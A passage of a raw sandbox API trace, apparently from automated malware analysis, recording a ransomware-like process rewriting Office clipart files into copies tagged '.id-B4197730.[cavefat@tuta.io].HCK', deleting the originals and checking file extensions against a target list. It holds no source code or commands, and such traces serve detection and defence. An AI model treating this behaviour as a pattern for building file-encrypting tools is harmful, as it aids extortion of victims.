lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.377] GetLastError () returned 0x0 [0168.377] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x84a6, lpOverlapped=0x0) returned 1 [0168.379] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x84b0, lpOverlapped=0x0) returned 1 [0168.380] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.380] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.380] SetEndOfFile (hFile=0x354) returned 1 [0168.383] CloseHandle (hObject=0x354) returned 1 [0168.384] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.384] SetEndOfFile (hFile=0x39c) returned 1 [0168.386] CloseHandle (hObject=0x39c) returned 1 [0168.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 1 [0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0168.392] lstrlenW (lpString=".doc") returned 4 [0168.392] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.392] lstrlenW (lpString=".docx") returned 5 [0168.392] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0168.392] lstrlenW (lpString=".pdf") returned 4 [0168.392] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.392] lstrlenW (lpString=".xls") returned 4 [0168.392] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.392] lstrlenW (lpString=".xlsx") returned 5 [0168.392] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0168.392] lstrlenW (lpString=".ppt") returned 4 [0168.392] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0168.392] lstrlenW (lpString=".zip") returned 4 [0168.392] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.392] lstrlenW (lpString=".rar") returned 4 [0168.392] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.392] lstrlenW (lpString=".bz2") returned 4 [0168.392] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.392] lstrlenW (lpString=".7z") returned 3 [0168.392] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0168.392] lstrlenW (lpString=".dbf") returned 4 [0168.392] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0168.392] lstrlenW (lpString=".1cd") returned 4 [0168.392] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0168.392] lstrlenW (lpString=".jpg") returned 4 [0168.392] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0168.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0168.392] lstrlenW (lpString=".doc") returned 4 [0168.392] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.392] lstrlenW (lpString=".docx") returned 5 [0168.392] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0168.392] lstrlenW (lpString=".pdf") returned 4 [0168.392] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.392] lstrlenW (lpString=".xls") returned 4 [0168.392] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.392] lstrlenW (lpString=".xlsx") returned 5 [0168.392] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0168.392] lstrlenW (lpString=".ppt") returned 4 [0168.392] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0168.393] lstrlenW (lpString=".zip") returned 4 [0168.393] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.393] lstrlenW (lpString=".rar") returned 4 [0168.393] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.393] lstrlenW (lpString=".bz2") returned 4 [0168.393] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.393] lstrlenW (lpString=".7z") returned 3 [0168.393] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0168.393] lstrlenW (lpString=".dbf") returned 4 [0168.393] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0168.393] lstrlenW (lpString=".1cd") returned 4 [0168.393] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0168.393] lstrlenW (lpString=".jpg") returned 4 [0168.393] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.393] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0168.393] lstrlenW (lpString="J0148757.JPG") returned 12 [0168.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.411] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=67540) returned 1 [0168.411] CloseHandle (hObject=0x354) returned 1 [0168.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 0x220 [0168.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.429] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.429] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.442] GetLastError () returned 0x0 [0168.442] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x107d4, lpOverlapped=0x0) returned 1 [0168.446] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x107e0, lpOverlapped=0x0) returned 1 [0168.447] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.447] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.447] SetEndOfFile (hFile=0x388) returned 1 [0168.455] CloseHandle (hObject=0x388) returned 1 [0168.457] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.457] SetEndOfFile (hFile=0x39c) returned 1 [0168.460] CloseHandle (hObject=0x39c) returned 1 [0168.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 1 [0168.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0168.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0168.470] lstrlenW (lpString=".doc") returned 4 [0168.470] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.470] lstrlenW (lpString=".docx") returned 5 [0168.470] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0168.470] lstrlenW (lpString=".pdf") returned 4 [0168.470] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.470] lstrlenW (lpString=".xls") returned 4 [0168.470] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.470] lstrlenW (lpString=".xlsx") returned 5 [0168.470] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0168.470] lstrlenW (lpString=".ppt") returned 4 [0168.470] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0168.470] lstrlenW (lpString=".zip") returned 4 [0168.470] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.470] lstrlenW (lpString=".rar") returned 4 [0168.470] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.470] lstrlenW (lpString=".bz2") returned 4 [0168.470] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.470] lstrlenW (lpString=".7z") returned 3 [0168.470] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0168.470] lstrlenW (lpString=".dbf") returned 4 [0168.470] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0168.470] lstrlenW (lpString=".1cd") returned 4 [0168.470] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0168.470] lstrlenW (lpString=".jpg") returned 4 [0168.470] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0168.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0168.470] lstrlenW (lpString=".doc") returned 4 [0168.470] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.470] lstrlenW (lpString=".docx") returned 5 [0168.470] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0168.470] lstrlenW (lpString=".pdf") returned 4 [0168.470] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.470] lstrlenW (lpString=".xls") returned 4 [0168.471] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.471] lstrlenW (lpString=".xlsx") returned 5 [0168.471] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0168.471] lstrlenW (lpString=".ppt") returned 4 [0168.471] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0168.471] lstrlenW (lpString=".zip") returned 4 [0168.471] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.471] lstrlenW (lpString=".rar") returned 4 [0168.471] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.471] lstrlenW (lpString=".bz2") returned 4 [0168.471] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.471] lstrlenW (lpString=".7z") returned 3 [0168.471] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0168.471] lstrlenW (lpString=".dbf") returned 4 [0168.471] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0168.471] lstrlenW (lpString=".1cd") returned 4 [0168.471] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0168.471] lstrlenW (lpString=".jpg") returned 4 [0168.471] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.471] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.471] lstrlenW (lpString="J0150150.WMF") returned 12 [0168.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.478] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=46404) returned 1 [0168.479] CloseHandle (hObject=0x308) returned 1 [0168.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 0x220 [0168.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.498] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.498] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.502] GetLastError () returned 0x0 [0168.502] ReadFile (in: hFile=0x354, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xb544, lpOverlapped=0x0) returned 1 [0168.506] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xb550, lpOverlapped=0x0) returned 1 [0168.507] ReadFile (in: hFile=0x354, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.507] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.508] SetEndOfFile (hFile=0x360) returned 1 [0168.509] CloseHandle (hObject=0x360) returned 1 [0168.510] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.510] SetEndOfFile (hFile=0x354) returned 1 [0168.513] CloseHandle (hObject=0x354) returned 1 [0168.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 1 [0168.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0168.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0168.518] lstrlenW (lpString=".doc") returned 4 [0168.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.518] lstrlenW (lpString=".docx") returned 5 [0168.518] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.518] lstrlenW (lpString=".pdf") returned 4 [0168.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.519] lstrlenW (lpString=".xls") returned 4 [0168.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.519] lstrlenW (lpString=".xlsx") returned 5 [0168.519] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.519] lstrlenW (lpString=".ppt") returned 4 [0168.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0168.519] lstrlenW (lpString=".zip") returned 4 [0168.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.519] lstrlenW (lpString=".rar") returned 4 [0168.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.519] lstrlenW (lpString=".bz2") returned 4 [0168.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.519] lstrlenW (lpString=".7z") returned 3 [0168.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0168.519] lstrlenW (lpString=".dbf") returned 4 [0168.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0168.519] lstrlenW (lpString=".1cd") returned 4 [0168.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0168.519] lstrlenW (lpString=".jpg") returned 4 [0168.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0168.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0168.519] lstrlenW (lpString=".doc") returned 4 [0168.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.519] lstrlenW (lpString=".docx") returned 5 [0168.519] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.519] lstrlenW (lpString=".pdf") returned 4 [0168.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.519] lstrlenW (lpString=".xls") returned 4 [0168.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.519] lstrlenW (lpString=".xlsx") returned 5 [0168.519] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.519] lstrlenW (lpString=".ppt") returned 4 [0168.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0168.519] lstrlenW (lpString=".zip") returned 4 [0168.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.519] lstrlenW (lpString=".rar") returned 4 [0168.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.519] lstrlenW (lpString=".bz2") returned 4 [0168.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.519] lstrlenW (lpString=".7z") returned 3 [0168.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0168.519] lstrlenW (lpString=".dbf") returned 4 [0168.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0168.520] lstrlenW (lpString=".1cd") returned 4 [0168.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0168.520] lstrlenW (lpString=".jpg") returned 4 [0168.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.520] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.520] lstrlenW (lpString="J0151047.WMF") returned 12 [0168.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.525] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=18500) returned 1 [0168.525] CloseHandle (hObject=0x308) returned 1 [0168.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 0x220 [0168.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.542] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.542] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.545] GetLastError () returned 0x0 [0168.545] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4844, lpOverlapped=0x0) returned 1 [0168.547] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, 